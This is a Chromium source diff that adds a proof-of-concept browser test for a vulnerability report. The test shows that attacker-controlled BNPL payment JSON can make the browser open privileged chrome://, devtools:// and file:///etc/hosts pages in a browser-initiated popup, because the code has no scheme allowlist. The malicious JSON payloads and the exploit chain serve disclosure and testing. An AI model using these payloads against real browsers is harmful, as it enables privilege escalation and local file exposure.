diff --git a/chrome/browser/ui/autofill/payments/desktop_payments_window_manager_interactive_uitest.cc b/chrome/browser/ui/autofill/payments/desktop_payments_window_manager_interactive_uitest.cc index 3324ebf43462e..2d26c854720ce 100644 --- a/chrome/browser/ui/autofill/payments/desktop_payments_window_manager_interactive_uitest.cc +++ b/chrome/browser/ui/autofill/payments/desktop_payments_window_manager_interactive_uitest.cc @@ -6,6 +6,7 @@ #include #include +#include "base/json/json_reader.h" #include "base/strings/string_number_conversions.h" #include "base/strings/utf_string_conversions.h" #include "base/test/metrics/histogram_tester.h" @@ -31,6 +32,8 @@ #include "components/autofill/core/browser/payments/card_unmask_challenge_option.h" #include "components/autofill/core/browser/payments/constants.h" #include "components/autofill/core/browser/payments/payments_autofill_client.h" +#include "components/autofill/core/browser/payments/payments_request_details.h" +#include "components/autofill/core/browser/payments/payments_requests/get_bnpl_payment_instrument_for_fetching_url_request.h" #include "components/autofill/core/browser/payments/payments_window_manager.h" #include "components/autofill/core/browser/payments/test_payments_autofill_client.h" #include "components/autofill/core/browser/payments/test_payments_network_interface.h" @@ -38,6 +41,7 @@ #include "content/public/browser/site_instance.h" #include "content/public/browser/web_contents.h" #include "content/public/test/browser_test.h" +#include "content/public/test/browser_test_utils.h" #include "testing/gtest/include/gtest/gtest.h" #include "ui/views/window/dialog_client_view.h" @@ -1227,6 +1231,190 @@ IN_PROC_BROWSER_TEST_F(PaymentsWindowUserConsentDialogIntegrationTest, }))); } +// ===================================================================== +// POC: BNPL `redirect_url` from Payments JSON reaches a browser-initiated +// Navigate() with no scheme allowlist. +// +// Threat model: a compromised network process (or enterprise-MITM root, or +// compromised payments.google.com) controls the JSON body returned for +// payments/apis-secure/chromepaymentsservice/getpaymentinstrument. The body +// is parsed in the browser process by +// GetBnplPaymentInstrumentForFetchingUrlRequest::ParseResponse(), the only +// validation is GURL::is_valid(), and the resulting URL flows unmodified to +// DesktopPaymentsWindowManager::CreatePopup() -> Navigate() as a +// browser-initiated NEW_POPUP. +// +// This browser test exercises the *real* production parser and the *real* +// production DesktopPaymentsWindowManager / Navigate() path with a malicious +// JSON body. Only the network response and the unrelated user-gesture / sync +// preconditions are simulated. It demonstrates that: +// (1) the parser accepts chrome:// (and devtools://, file://) and reports +// the response as "complete"; +// (2) DesktopPaymentsWindowManager::InitBnplFlow() opens a tab-modal popup +// and the popup *commits* the chrome:// WebUI page browser-initiated. +// ===================================================================== +class BnplRedirectUrlSchemePocTest + : public DesktopPaymentsWindowManagerInteractiveUiTest { + public: + // Feeds `json_body` (the simulated body of the getpaymentinstrument + // response) through the real parser used by PaymentsNetworkInterfaceBase + // and returns the parsed details. Asserts that the parser reports the + // response as complete (i.e. the malicious response would propagate as + // PaymentsRpcResult::kSuccess). + BnplFetchUrlResponseDetails ParseGetPaymentInstrumentBody( + const std::string& json_body) { + // GetBnplPaymentInstrumentForFetchingUrlRequest::ParseResponse(): + GetBnplPaymentInstrumentForFetchingUrlRequestDetails request_details; + request_details.billing_customer_number = 1234; + request_details.instrument_id = "INSTRUMENT_ID"; + request_details.risk_data = "RISK_DATA"; + request_details.merchant_domain = GURL("https://merchant.example/"); + request_details.total_amount = 1000000000; + request_details.currency = "USD"; + + BnplFetchUrlResponseDetails captured; + auto callback = + base::BindOnce([](BnplFetchUrlResponseDetails* out, + PaymentsAutofillClient::PaymentsRpcResult result, + const BnplFetchUrlResponseDetails& details) { + EXPECT_EQ(result, + PaymentsAutofillClient::PaymentsRpcResult::kSuccess); + *out = details; + }, &captured); + GetBnplPaymentInstrumentForFetchingUrlRequest request( + std::move(request_details), /*full_sync_enabled=*/true, + std::move(callback)); + + std::optional value = + base::JSONReader::Read(json_body, base::JSON_PARSE_CHROMIUM_EXTENSIONS); + CHECK(value && value->is_dict()) << "malformed test JSON"; + request.ParseResponse(value->GetDict()); + + // (1) The only validation on `redirect_url` is GURL::is_valid(), which + // accepts chrome://, devtools://, file:// etc., so this returns true and + // PaymentsNetworkInterfaceBase would report kSuccess. + EXPECT_TRUE(request.IsResponseComplete()) + << "Parser rejected privileged-scheme redirect_url"; + request.RespondToDelegate(PaymentsAutofillClient::PaymentsRpcResult::kSuccess); + return captured; + } + + // Mirrors BnplManager::OnRedirectUrlFetched() (kSuccess branch) and + // DesktopPaymentsWindowManager::InitBnplFlow(): builds a BnplContext from + // the parsed response and runs the real popup-creation path. Returns the + // popup's WebContents after it has committed the navigation. + content::WebContents* InitBnplFlowFromParsedResponse( + const BnplFetchUrlResponseDetails& response) { + PaymentsWindowManager::BnplContext context; + context.issuer_id = BnplIssuer::IssuerId::kBnplAffirm; + context.initial_url = response.redirect_url; // <-- attacker-controlled + context.success_url_prefix = response.success_url_prefix; + context.failure_url_prefix = response.failure_url_prefix; + context.completion_callback = bnpl_popup_closed_callback_.Get(); + + ui_test_utils::BrowserCreatedObserver observer; + window_manager().InitBnplFlow(std::move(context)); + BrowserWindowInterface* popup = observer.Wait(); + + content::WebContents* popup_wc = + popup->GetTabStripModel()->GetActiveWebContents(); + content::WaitForLoadStopWithoutSuccessCheck(popup_wc); + return popup_wc; + } +}; + +// Malicious getpaymentinstrument JSON with redirect_url = chrome://version. +constexpr std::string_view kMaliciousJsonChromeScheme = R"({ + "buy_now_pay_later_info": { + "get_redirect_url_response_info": { + "redirect_url": "chrome://version", + "base_success_return_url": "https://x/", + "base_failure_return_url": "https://y/", + "get_payment_instrument_context_token": "t" + } + } +})"; + +// Full chain: parser accepts chrome:// in `redirect_url`, and +// DesktopPaymentsWindowManager::InitBnplFlow() opens a tab-modal popup that +// commits chrome://version browser-initiated. +IN_PROC_BROWSER_TEST_F(BnplRedirectUrlSchemePocTest, + Bnpl_ChromeSchemeRedirectUrl_LoadsWebUIInPopup) { + BnplFetchUrlResponseDetails response = + ParseGetPaymentInstrumentBody(std::string(kMaliciousJsonChromeScheme)); + ASSERT_TRUE(response.redirect_url.SchemeIs("chrome")); + + content::WebContents* popup_wc = InitBnplFlowFromParsedResponse(response); + + // (2) The popup committed the chrome:// WebUI page. Because Navigate() was + // called with no initiator_origin / is_renderer_initiated and no scheme + // allowlist, this load is treated as browser-initiated and is not blocked. + EXPECT_EQ(popup_wc->GetLastCommittedURL(), GURL("chrome://version/")); + EXPECT_TRUE(popup_wc->GetLastCommittedURL().SchemeIs("chrome")); + + // The original tab and the popup are not related site instances - the + // popup is a fresh, browser-initiated WebContents. + auto* source_wc = GetOriginalPageWebContents(); + EXPECT_FALSE(source_wc->GetSiteInstance()->IsRelatedSiteInstance( + popup_wc->GetSiteInstance())); + + fprintf( + stderr, + "[POC] BNPL popup committed: %s (browser-initiated, scheme=%s)\n", + popup_wc->GetLastCommittedURL().spec().c_str(), + std::string(popup_wc->GetLastCommittedURL().scheme()).c_str()); +} + +// Same chain with a file:// URL. +IN_PROC_BROWSER_TEST_F(BnplRedirectUrlSchemePocTest, + Bnpl_FileSchemeRedirectUrl_LoadsInPopup) { + constexpr std::string_view kJson = R"({ + "buy_now_pay_later_info": { + "get_redirect_url_response_info": { + "redirect_url": "file:///etc/hosts", + "base_success_return_url": "https://x/", + "base_failure_return_url": "https://y/", + "get_payment_instrument_context_token": "t" + } + } + })"; + BnplFetchUrlResponseDetails response = + ParseGetPaymentInstrumentBody(std::string(kJson)); + ASSERT_TRUE(response.redirect_url.SchemeIsFile()); + + content::WebContents* popup_wc = InitBnplFlowFromParsedResponse(response); + + EXPECT_EQ(popup_wc->GetLastCommittedURL(), GURL("file:///etc/hosts")); + fprintf(stderr, "[POC] BNPL popup committed: %s (scheme=%s)\n", + popup_wc->GetLastCommittedURL().spec().c_str(), + std::string(popup_wc->GetLastCommittedURL().scheme()).c_str()); +} + +// Same chain with a devtools:// URL. +IN_PROC_BROWSER_TEST_F(BnplRedirectUrlSchemePocTest, + Bnpl_DevtoolsSchemeRedirectUrl_LoadsInPopup) { + constexpr std::string_view kJson = R"({ + "buy_now_pay_later_info": { + "get_redirect_url_response_info": { + "redirect_url": "devtools://devtools/bundled/devtools_app.html", + "base_success_return_url": "https://x/", + "base_failure_return_url": "https://y/", + "get_payment_instrument_context_token": "t" + } + } + })"; + BnplFetchUrlResponseDetails response = + ParseGetPaymentInstrumentBody(std::string(kJson)); + ASSERT_EQ(response.redirect_url.scheme(), "devtools"); + + content::WebContents* popup_wc = InitBnplFlowFromParsedResponse(response); + + EXPECT_TRUE(popup_wc->GetLastCommittedURL().SchemeIs("devtools")); + fprintf(stderr, "[POC] BNPL popup committed: %s (scheme=%s)\n", + popup_wc->GetLastCommittedURL().spec().c_str(), + std::string(popup_wc->GetLastCommittedURL().scheme()).c_str()); +} + } // namespace payments } // namespace autofill